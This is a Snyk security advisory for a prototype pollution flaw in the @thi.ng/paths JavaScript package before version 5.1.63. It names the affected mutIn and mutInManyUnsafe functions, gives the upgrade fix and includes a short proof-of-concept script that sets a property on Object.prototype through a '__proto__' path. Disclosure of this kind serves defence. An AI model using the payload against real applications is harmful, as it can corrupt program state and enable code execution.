Improper Control of Dynamically-Managed Code Resources Affecting @thi.ng/paths package, versions <5.1.63


0.0
high

Snyk CVSS

    Attack Complexity Low
    Scope Changed

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-THINGPATHS-6483837
  • published 26 Mar 2024
  • disclosed 25 Mar 2024
  • credit Tariq Hawis

How to fix?

Upgrade @thi.ng/paths to version 5.1.63 or higher.

Overview

@thi.ng/paths is an Immutable, optimized and optionally typed path-based object property / array accessors with structural sharing

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the improper handling of object properties in the mutIn and mutInManyUnsafe components. An attacker can execute arbitrary code on the victim's system by supplying a specially crafted object.

PoC

(async () => {
  const lib = await import('@thi.ng/paths');

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// Un-comment on at a time
paths.mutIn({},[["__proto__"], "polluted"], true)
paths.mutInManyUnsafe({},[["__proto__"], "polluted"], true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();